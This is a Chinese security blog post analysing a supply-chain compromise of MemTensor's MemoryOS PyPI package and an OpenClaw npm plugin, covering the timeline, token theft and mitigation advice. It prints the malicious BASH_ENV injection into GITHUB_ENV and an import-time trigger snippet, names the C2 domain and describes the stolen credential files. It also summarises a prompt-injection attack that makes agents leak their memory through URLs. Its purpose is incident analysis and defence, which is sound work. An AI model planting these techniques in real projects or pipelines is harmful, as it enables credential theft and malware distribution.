文章总结: memtensor的AI记忆工具链遭供应链攻击,攻击者通过劫持发布凭据,在npm和pypi发布恶意版本,利用import时触发载荷,窃取token和凭据,并具备模块化C2和蠕虫传播能力。事件暴露了安装时防护的盲区,记忆层成为新的信任边界,建议按已沦陷主机处理受影响环境。 综合评分: 88 文章分类: 供应链安全,恶意软件,漏洞分析,威胁情报,ai安全
不用安装,一次import就中招?MemTensor 投毒拆解
原创
千里 千里
东方隐侠安全团队
2026年9月29日 23:34 江苏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
9月24日,慢雾发布预警,MemTensor的AI长期记忆工具链遭供应链攻击。受影响的是面向LLM/Agent的开源记忆库MemoryOS(PyPI 2.0.34),以及连接OpenClaw运行时的官方插件@memtensor/memos-cloud-openclaw-plugin(npm 0.1.21 / 0.1.23 / 0.1.25)。
这次事件不是简单的”又一个恶意包”或者”供应链攻击”的案例,它突破的是我们对安全的默认假设,我们原本理解投毒需要 install hook、锁版本就能保住供应链、官方维护者发布的包可信,这几个假设这次全被打脸了。有点像 Next.js RCE 让我们意识到静态网站也能接管服务器。
另外这次被攻击的目标是 AI Agent 的记忆层,本身也是目前 AI 工程链路里数据密度最高、权限最泛、监控最薄的一环。
下面按攻击过程回溯、token 怎么丢的、为什么 import 就够、为什么是记忆层、趋势判断、行业建议的顺序来拆。完整版、代码片段和参考来源在官网,文末有链接。
攻击过程回溯
01
时间线来自 npm/PyPI registry 元数据、GitHub 仓库事件和 commit 记录,全部是可复验的一手数据。2026 年 9 月 23 日 UTC:
| 时间 | 事件 |
| — | — |
| 00:48–02:03 | GitHub 账号 Memtensor-AI 在 OpenClaw 插件仓库上五次创建、推送、删除分支 sc/release-0.1.21-20260922-cloud |
| 02:23 | npm 0.1.21 发布,携带 sckit 二进制 |
| 03:17 | MemTensor/MemOS 仓库出现 commit b52958f,加入 sckit 载荷和 CI token 窃取逻辑 |
| 03:45 / 03:49 | npm 0.1.22(干净)、0.1.23(恶意)先后发布 |
| 04:17 | 研究者在仓库提出 Issue #173:这些版本在仓库里找不到对应 commit |
| 04:33 / 04:36 | npm 0.1.24(干净)、0.1.25(恶意)先后发布 |
| 05:24 | commit 41bf5c7 删除并重建 tag v2.0.34,发布 GitHub Release |
| 05:25 | MemoryOS 2.0.34 上传 PyPI |
| 05:55 | tag v2.0.34-capture-1 被删除 |
关注几个细节。
第一,npm 上的五个版本是干净和恶意交替的:0.1.21 恶意、0.1.22 干净、0.1.23 恶意、0.1.24 干净、0.1.25 恶意。发布时 latest 指向恶意的 0.1.25,任何人执行 npm install @memtensor/memos-cloud-openclaw-plugin,装到的就是带后门的版本。交替发布是混淆手段,如果你只抽查了 0.1.22 或 0.1.24,很容易得出”没问题”的结论。
第二,五个版本都来自同一个 npm 账号 leason1974,这个账号之前发布过完全合法的 0.1.20。所以这不是抢注,也不是域名仿冒,是真实的发布凭据被劫持后,从官方渠道发出来的”正版”。
第三,PyPI 侧的 MemoryOS 2.0.34,wheel 体积从 2.0.33 的 951 KB 膨胀到 19 MB,里面多了六个跨平台 Go 二进制,覆盖 linux/darwin/windows 的 amd64/arm64。那个被删除的 v2.0.34-capture-1 tag,说明攻击者分了捕获和投毒两个阶段。
第四,两个仓库的 GitHub Actions 运行记录都被清空了,攻击发生前的最后一条记录停在 9 月 7 日。日志消失,意味着攻击者有仓库级权限,也意味着事后取证只能完全依赖 registry 侧的元数据。
最先发现异常的是社区研究者在 Issue #173 指出 0.1.21 和 0.1.23 与仓库里任何 commit 都对不上,随后 SafeDep 的威胁情报系统监控到这个 issue,下载了当天发布的全部版本和最后一个干净版本做比对,才把整条攻击链拉出来。
又要回归那句草台班子的结论,在如今这个时代,哪怕没有 AI 加持,像这种投毒的告警竟然还是缺失的。
发布 token 是怎么丢的
02
攻击者攻击的第一环是发布者。如果发布者的 token 没泄露,这一劫大概能躲过去。那 token 怎么丢的?
又要聊回让今年供应链投毒爆炸的 npm。npm 这一侧,OpenClaw 插件通过 GitHub Actions 发布,发布步骤从仓库 secret 里取 NPM_TOKEN。攻击者在一段短生命周期分支上改了一个发布校验脚本 validate-release-confirmation.mjs,改动只有三行:
if (env.GITHUB_ENV) {
appendFileSync(env.GITHUB_ENV,
`BASH_ENV=${process.cwd()}/.github/scripts/sckit-publish-bridge.sh\n`, "utf8");
}
这三行把 BASH_ENV 写进了 $GITHUB_ENV。GitHub Actions 的机制是,写入 $GITHUB_ENV 的变量对后续所有步骤可见,而 Bash 在执行任何非交互脚本前,会先运行 BASH_ENV 指向的文件。攻击者靠环境变量注入,让自己的脚本在任何后续步骤之前执行,包括真正持有 token 的发布步骤。
这个研究话题我之前在《Tag即发布权》里聊过,对理解这类”意料之外的操作”有辅助。
这三行代码具体做了什么呢?首先,检查 PACKAGE_NAME 是不是目标包、NPM_VISIBILITY_TIMEOUT_SECONDS 是不是 150,这个值只有发布步骤会设置,匹配才激活,不匹配直接 return。激活后调用 collectStageZero() 把 NODE_AUTH_TOKEN 交给 sckit 二进制,然后自删除,exit 1。受害者看到的是”发布步骤失败”,一次普通的 CI 失败没人会怀疑,可能调一调再跑一次发现一切正常,皆大欢喜。
而事实上,token 已经到攻击者手里了。
PyPI 侧的路径更精巧,是我认为整个事件里工程水平最高的部分。它利用了一个很多 Python 维护者都没意识到的攻击面:Poetry 的 build-backend 是可以换成仓库内文件的。
攻击者的 commit b52958f 改了 pyproject.toml,构建后端不再指向官方的 poetry-core,而是指向仓库里的 sckit_poetry_build.py。这个文件包装了真正的 Poetry 后端,但在被 import 时执行 register(),用同样的 BASH_ENV 技巧把后续步骤指向 _pypi_bridge.sh。这个 bridge 只在 PyPI 发布 action 的容器里激活(它检查 $0 是不是 /app/twine-upload.sh),拦截 INPUT_PASSWORD 和 PYPI_API_TOKEN,从 skyleen.fr 子域下载验签过的 emitter(Ed25519 验签是纯 Python 实现,不依赖 runner 上的任何额外包),然后 unset 掉 token 变量,exit 0。
两小时后,commit 41bf5c7 的 message 是 chore: allow native PyPI upload [skip ci],攻击者只删掉 register() 那一行调用,让 MemTensor 自己的 CI 用项目真实 token 构建并上传恶意包,62 秒后 MemoryOS 2.0.34 上线 PyPI。
第一阶段偷 token,第二阶段以受害者之名投毒。事后去审计”是谁发布了恶意版本”,答案是 MemTensor 自己的 CI、自己的 token、自己的发布流程。在这种情况下,如果遇到糊涂领导,可能只会归因到受害者。
这里有一个分歧要说清楚:StepSecurity 的静态审查发现,sckit_poetry_build.py 里的 register() 在他们审查的代码路径中未被调用,Corgea 的定性是”代码存在且有暗示性,但已证实的触发路径是 import 时的 launcher”。二进制证据(v2.0.34-capture-1 的 tag 名、精确匹配 twine-upload 的 bridge 逻辑)强烈支持 token 捕获发生过,但严谨起见,CI helper 路径应描述为”高概率执行过”。
为什么 –ignore-scripts 救不了你
03
传统 PyPI/npm 投毒的执行模型是 install hook:setup.py、postinstall 脚本,在安装瞬间执行。对应的防御也是围绕这个模型建的:pip --ignore-scripts、npm 的 --ignore-scripts、对 install 脚本的静态扫描。
就在这个背景下,黑天鹅出现了。
npm 侧,恶意版本在 index.js 里只加了三处改动:import 一个 launchStageZero,在网关启动时调用,在 memory recall 路径再调用一次,并把用户当前的 prompt 文本作为 SCKIT_EVENT_TEXT 传进子进程环境。然后 spawn 一个 detached 的平台二进制,stdio 全部忽略,child.unref()。插件正常工作,后台多了一个进程。
PyPI 侧更直接,memos/log.py 的 configure_logging() 里插了一个 trigger,几乎所有 import 路径都会走到日志配置,走到就会触发:
try:
from memos._stage0 import trigger
trigger()
except Exception:
pass
try/except pass 保证即使载荷启动失败也绝不影响库的正常功能。你的 Agent 应用 import memos 一次,Go 二进制就在后台以独立会话跑起来了。
没有 install hook,--ignore-scripts 完全无效。安装是干净的,执行发生在使用时。检测窗口从”安装时”移到了”运行时”,而绝大多数企业的依赖扫描、准入策略、CI 门禁,全部只在安装时把关。理论上这个环境就算打了全部补丁、开了所有安全选项,也可能因为一次普通的 import 被攻陷。
载荷本身的能力,结合 SafeDep、Aikido、Socket 的分析看:
- 凭据清点:
.npmrc、.pypirc、.git-credentials、.netrc、SSH 私钥、.vault-token、access_tokens.json,以及环境变量里的 token 类值,配置里inventory_roots是$HOME整个目录全盘清点。 - C2 通信:三个 skyleen.fr 子域,各带 control/status/batch 路径;协议层用 CBOR 编码、X25519 密钥交换、XChaCha20-Poly1305 加密,支持签名 lease、manifest 和模块化投递。这不是一次性窃取脚本,是模块化 loader 框架——bundle 里的 stage0 只是引导器,后续载荷从 C2 按需下发。
- 自清理:二进制里有
scheduleSelfDelete和deleteExecutable例程,配置里有not_after过期时间戳。运营者在乎痕迹管理。 - 环境适配:0.1.25 额外加了
lib/tls-trust.js和打包的ca-roots.pem,让 slim 容器这种没有系统证书库的环境也能连上 C2。这个细节说明攻击者对容器化部署(也就是大量 Agent 生产的真实环境)有充分理解。 - 蠕虫逻辑:Aikido 从二进制里恢复的字符串包括
prepareRemoteNode、prepareRemotePython、prepareRemoteWorkflow,以及直接面向 npm/PyPI 再发布的逻辑,Go module 的名字就叫supplychain.local/campaign。需要说明,这是静态字符串层面的证据,”每个被感染主机都进行了再发布”没有得到证实——但它清楚表明了设计意图:把偷来的凭据变成下一轮包投毒的原材料。窃取和传播是一个闭环,不是两件事。
基于这个毒性,装过恶意版本的主机,都应该按已沦陷的主机处理。
为什么是记忆工具链
04
供应链投毒今年从加密货币 SDK(偷钱包)和构建工具(偷 CI 凭据)转移到了 AI 相关,这次的目标更是直接瞄准记忆部分。MemoryOS 是给 LLM/Agent 提供长期记忆的基础库,用它的环境几乎必然具备三个特征:有模型 API key、有完整的 Agent 开发栈、有真实的用户数据在记忆流里跑。
memory recall 路径触发时,用户的 prompt 文本被显式地作为 SCKIT_EVENT_TEXT 传给了恶意进程。攻击者在载荷层面明确表达了对 prompt 内容的兴趣。如果你读过我写的 LLM key 泄露那篇,会知道有这么一类攻击者正在窃取 LLM key——很显然,这不是一个只偷凭据的窃取者。
这和腾讯朱雀实验室 8 月披露的 Memory Heist 攻击,刚好构成一枚硬币的两面。Memory Heist 走的是推理层:把恶意提示词嵌进网页,诱导 Agent 把记忆里的数据逐字符编码进 URL 路径外泄,全程不经过任何敏感接口,WAF 和 DLP 都看不到,因为对网络层来说那只是一串正常的 GET 请求。而 sckit 走的是供应链层:不再费心诱导 Agent,直接把记忆工具链本身变成 implant。
所以结论很直接:Agent 的记忆层是一个独立的信任边界,而且是当前整个 AI 栈里防护最薄弱的边界之一。 它同时具备数据密度高(记忆里存的是用户画像、业务上下文、历史决策)、权限泛(记忆库往往被授予读写 Agent 完整上下文的权限)、部署位置关键(就跑在你的 Agent 进程里)三个属性。攻击者已经从两侧同时进场了。
再加上,现在大家用的记忆插件是 Agent 生态里的”万能连接器”,天然要接入多个运行时(这次是 OpenClaw 网关)、多个模型后端、多种存储。这种”什么都连”的架构定位,意味着它的供应链失陷会横向传导到整个 Agent 栈。你审计了自己用的 LangChain,审计了自己的模型网关,但你的 Agent 记忆,来自一个 9 月 23 日刚发布的 npm 包。
攻击趋势判断
05
- 2026 年 5 月,Shai-Hulud / Mini Shai-Hulud:攻击者接管维护者账户,向 npm 投毒 317 个 AntV 系包。云安全联盟 CSA 事后研究的关键结论是:被攻陷的 GitHub Actions runner 依然能产出 SLSA Build Level 3 的 attestation——SLSA 证明的是构建过程的完整性,不是代码和凭据的完整性。
- 2026 年 7 月,Injective:开发者 GitHub 账户被入侵,
@injectivelabs/sdk-ts植入恶意版本,17 个依赖包级联感染,周下载 5 万次。 - 2026 年 9 月,LiteLLM:v1.82.7/8 两个版本被植入凭据窃取代码,这个月下载 9700 万次的 AI 网关库被 PyPI 紧急撤回。
- 2026 年 9 月,MemTensor:发布管道劫持 + import 时执行 + 蠕虫化。
四起事件找共性,”npm/PyPI 有恶意包”说明不了什么,重要的是攻击者的目标从”包”上移到了”发布包的凭据和管道”。Shai-Hulud 打维护者账户,MemTensor 打 CI 发布管道,Injective 打开发者账户,每一次都绕过了注册表侧对包内容的审查,因为包确实是从官方账号、官方管道发出来的。
老生常谈的是,今年攻击目标高度一致地收敛于 AI 生态——LiteLLM、LangChain 生态、MemoryOS、OpenClaw 插件——因为当前 AI 开发环境里密钥密度高、依赖更新文化激进(追新版本)、安全建设普遍滞后于业务迭代。
对防御方的坏消息是,现有的几道主流防线在这条曲线上几乎是逐个失守的:
--ignore-scripts:对 sckit 无效,它不在安装时执行。- lockfile 锁定:你锁定的 0.1.25 就是恶意版本。锁版本防的是”未来被替换”,防不了”现在已被投毒”。这次
latest指向恶意版,正是 lockfile 固定恶意版本传播模型的现实版。 - SLSA / provenance:CSA 的结论摆在那里,被攻陷的 runner 照样能出具合格的构建证明。MemTensor 的恶意包就是 MemTensor 自己的 CI 用自己的 token 构建发布的——provenance 链条完美无瑕,内容是毒的。
- “官方包可信”:
leason1974就是发布过合法 0.1.20 的同一个官方账号。
每道防线的失效方式各异,这也正说明单点方案已经远远不足以支撑企业的建设目标。
行业建议
06
根据不同角色简单提供些建议,仅作参考。
给 AI 开源项目维护者:
- 发布凭据迁到短时效模型,npm 用 granular access token 并开启 publish 时的 2FA,PyPI 用 Trusted Publishing(OIDC 绑定仓库和工作流),让”长期有效的 API token”从发布链路里消失,比如这次攻击的核心资产就是长期 token,它没了,capture 阶段就断了。
- 把 pyproject.toml 的 build-backend 变更列为高危 review 项,同类还有 .github/scripts/ 下任何脚本改动、$GITHUB_ENV 写入、workflow_dispatch 的 ref 输入。建立版本-commit 对应性审计,每次发布后自动校验,不对应就告警。
- 另外,Actions 运行日志不可删除,检查仓库权限模型里谁能删 workflow runs,把这项权限从开发者常规权限里拿掉。
给企业使用方:
- 依赖跟进加 24–48 小时冷却期,这次恶意版本在 registry 上存活时间以小时计,攻击者的节奏就是”发布-收割-被清”的快速循环。
- 把检测窗口从安装时扩到运行时,盯三个信号,一个 detached 的子进程、启动后对 $HOME 下凭据文件的大范围读取、向陌生 HTTPS 域名的外联。
- egress 控制这次是真实有效的止损点,三个 C2 域名都是 skyleen.fr 的子域。一旦确认用过恶意版本,按主机沦陷处理,不要按”卸载包”处理,处置顺序为:降级(npm 0.1.20 / PyPI 2.0.33)、终止 sckit 进程、封锁 skyleen.fr、从干净镜像重建、轮换该环境能触达的所有凭据、回查 CI 历史有无异常发布,要注意顺序不要错,先轮换凭据再清理环境。
- 用了 OpenClaw 插件跑 Agent 工作流的,把 prompt 内容也纳入泄露评估范围。
给生态和平台方:注册表侧做 publish-time 的 VCS 一致性校验,把”registry 版本 ↔ 公开 commit”的一致性做成自动检查,而不是依赖人肉发现。社区信号通道要被产品化,这次最先发现问题的不是任何一家安全厂商的自动化系统,是一个 GitHub issue。
给 Agent 工程团队:把记忆层纳入信任边界管理。记忆插件的运行时权限做最小化(它不需要读你的 .ssh),记忆数据的存储位置、同步路径、注入面纳入安全检查清单,对进入记忆流的内容做来源审计。如果你已经有一份 Agent Checkup 清单,”记忆来源、保存位置、删除机制、注入风险”这四项之外,现在要加上第五项:记忆工具链本身的供应链审计——它是怎么发布的、发布管道长什么样、谁有发布权限。
继续关注
07
sckit 是模块化 loader,stage0 之后由 C2 下发的 stage1+ 载荷到现在没出现在任何公开分析里。我们看到的是引导器,真正的任务载荷是什么、执行过什么,取决于对 skyleen.fr 基础设施和被感染主机的取证,这块公开信息还是空的,蠕虫的分析也没披露。不过 360 的 AI 安全周报已经把六个平台的 sckit 二进制 SHA-256 哈希整理成了 STIX 数据,可以先加入威胁情报。
配置里 campaign_id 是 cloud-openclaw-semi-nuclear,profile 是 semi-nuclear。”semi”这个前缀暗示存在其他强度档位的 profile,not_after 过期机制说明运营者按活动周期管理这套东西。这可能不是一次性行动。
前面提到,这次几乎所有单点技术方案都失效了,能发现攻击是因为有个研究者碰巧提了 issue——最朴素的不一致检测,关键时刻是能兜底的。供应链安全的本质,可能不是更聪明的扫描器,而是把”发布的东西必须和源码对得上”这个基本事实,牢牢在每一层基础设施里把住。
完整版、代码片段和参考来源在官网:
《MemTensor 投毒全链路拆解:import 即执行,发布管道即入口》
点击左下角 阅读原文 即可跳转。
配图来源:Corgea Research、SafeDep。蠕虫再发布能力来自 Aikido 的二进制字符串分析,属设计意图层面的证据;CI helper 的 PyPI token 捕获路径在 StepSecurity 静态审查中存在”register() 未被调用”的分歧,本文按”高概率执行、未完全证实”处理。
扫码添加我们
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:东方隐侠安全团队 千里 千里《不用安装,一次import就中招?MemTensor 投毒拆解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论